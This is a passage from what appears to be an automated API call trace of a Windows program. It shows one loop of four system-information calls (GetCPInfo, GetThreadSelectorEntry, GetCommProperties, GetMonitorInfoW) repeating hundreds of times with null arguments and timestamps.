lpCPInfo=0x18fe84) returned 1 [0117.181] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.181] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.181] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.181] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.181] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.181] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.182] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.182] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.182] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.182] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.182] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.182] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.182] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.182] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.182] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.182] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.182] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.182] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.182] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.182] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.182] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.182] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.183] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.183] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.183] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.183] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.183] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.183] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.183] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.183] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.183] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.183] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.183] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.183] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.183] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.183] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.183] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.183] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.183] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.184] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.184] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.184] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.184] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.184] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.184] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.184] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.184] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.184] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.184] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.184] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.184] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.184] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.184] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.184] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.184] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.185] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.185] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.185] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.185] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.185] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.185] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.185] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.185] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.185] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.185] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.185] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.185] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.185] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.185] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.185] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.185] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.186] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.186] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.186] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.186] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.186] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.186] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.186] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.186] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.186] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.186] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.186] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.186] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.186] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.186] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.186] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.186] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.187] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.187] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.187] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.187] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.187] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.187] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.187] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.187] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.187] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.187] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.187] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.187] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.187] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.187] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.187] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.187] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.187] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.188] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.188] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.188] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.188] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.188] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.188] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.188] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.188] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.188] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.188] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.188] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.188] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.188] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.270] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.271] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.271] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.271] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.271] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.271] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.271] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.271] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.271] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.271] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.271] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.271] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.271] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.271] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.271] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.271] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.271] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.271] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.271] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.272] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.272] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.272] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.272] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.272] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.272] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.272] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.272] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.272] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.273] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.273] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.273] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.273] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.273] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.273] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.273] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.273] GetThreadSelectorEntry (in: 